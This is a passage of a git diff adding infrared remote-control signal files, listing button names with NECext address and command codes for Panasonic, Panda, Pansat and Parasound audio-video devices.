00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/2,-1.ir new file mode 100644 index 000000000..0d0a12848 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panasonic/VCR/2,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: STILL_ADVANCE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0C 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 20 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir new file mode 100644 index 000000000..474c678f0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: op/cl +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: l/r +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: view +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: p-scan +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: n/p +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir b/assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir new file mode 100644 index 000000000..d8fcc2e32 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 03 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 04 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 05 00 00 00 +# +name: Sat_TV +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 06 00 00 00 +# +name: Signal +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 07 00 00 00 +# +name: TV/Radio +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 08 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 0A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 0C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 19 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 1B 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 1C 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 1D 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 1E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 1F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 41 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 43 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 00 F9 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir new file mode 100644 index 000000000..73125a2a7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: tv/rad +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: volume +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: sig +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 40 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: pgdn +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: tv/sat +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir new file mode 100644 index 000000000..5f672df3d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: HDD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: DOUBLEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: AUDIOQ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1A 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 40 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: LOOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: DOUBLEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: SEEKBACK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: SEEKFWD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/134,97.ir b/assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/134,97.ir new file mode 100644 index 000000000..1d2e921e8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/134,97.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_-_SKIP_+ +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 00 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 02 00 00 00 +# +name: CD_-_SKIP_- +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 04 00 00 00 +# +name: CD_-_PAUSE +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 05 00 00 00 +# +name: CD_-_PLAY +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 08 00 00 00 +# +name: CD_-_STOP +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 09 00 00 00 +# +name: CD_-_FF +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0C 00 00 00 +# +name: CD_-_RW +type: parsed +protocol: NECext +address: 86 61 00 00 +command: 0D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/27,-1.ir new file mode 100644 index 000000000..eb055e922 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/27,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 09 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0A 00 00 00 +# +name: ON_-_OFF +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0D 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0F 00 00 00 +# +name: DIGITAL_+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: DIGITAL_- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: VID_1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: VID_2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: VID_3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: VID_4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: VID_5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: VID_6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1C 00 00 00 +# +name: A._CAL +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: DIM +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1E 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1F 00 00 00 +# +name: SURROUND_+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 20 00 00 00 +# +name: SETUP/TRIM +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 21 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 22 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 23 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 24 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 25 00 00 00 +# +name: MEM +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 26 00 00 00 +# +name: AUD_1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 30 00 00 00 +# +name: AUD_2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 31 00 00 00 +# +name: AUD_3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 32 00 00 00 +# +name: AUD_4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 33 00 00 00 +# +name: AUD_5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 34 00 00 00 +# +name: AUD_6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 35 00 00 00 +# +name: SURROUND_- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 38 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 39 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3C 00 00 00 +# +name: DYN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3D 00 00 00 +# +name: TUNING +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/3,240.ir b/assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/3,240.ir new file mode 100644 index 000000000..b27c7bd33 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Parasound/Receiver/3,240.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: AUDIO_1 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 80 00 00 00 +# +name: AUDIO_2 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 81 00 00 00 +# +name: AUDIO_3 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 82 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 83 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 84 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 85 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 86 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 87 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 88 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 89 00 00 00 +# +name: ON/OFF +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 8A 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 8D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 8E 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 8F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 91 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 92 00 00 00 +# +name: DIGITAL +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 93 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 95 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 96 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 97 00 00 00 +# +name: AUDIO_1 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 98 00 00 00 +# +name: AUDIO_2 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 99 00 00 00 +# +name: AUDIO3 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 9A 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 9B 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 9C 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 9D 00 00 00 +# +name: FM/AM +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 9E 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: 9F 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: C0 00 00 00 +# +name: TRIM +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: C1 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: C2 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: C3 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: C4 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: C5 00 00 00 +# +name: INPUT_LEVEL_+ +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: C6 00 00 00 +# +name: INPUT_LEVEL_- +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: C7 00 00 00 +# +name: MANUAL +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: C8 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: C9 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: CB 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 03 F0 00 00 +command: CC 00 00 00 +# +name: CAL +type: 